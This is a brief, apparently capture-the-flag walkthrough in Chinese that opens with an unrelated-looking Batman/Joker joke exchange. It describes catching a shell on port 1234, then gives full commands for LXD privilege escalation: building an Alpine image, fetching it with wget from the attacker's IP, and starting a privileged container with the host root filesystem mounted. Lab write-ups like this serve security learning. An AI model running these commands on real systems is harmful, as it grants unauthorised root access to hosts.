Batman hits Joker.
Joker: "Bats you may be a rock but you won't break me." (Laughs!)
Batman: "I will break you with this rock. You made a mistake now."
Joker: "This is one of your 100 poor jokes, when will you get a sense of humor bats! You are dumb as a rock."
Joker: "HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA!"

本地监听1234端口，访问主页面获取shell
提权操作
这里使用LXD 来提升权限
本地先编译好alpine，然后再使用
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
靶机操作
wget http://10.10.202.133/alpine-v3.10-x86_64-20190907_1836.tar.gz
lxc image import ./alpine-v3.10-x86_64-20190907_1836.tar.gz --alias myimage
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
OVER!
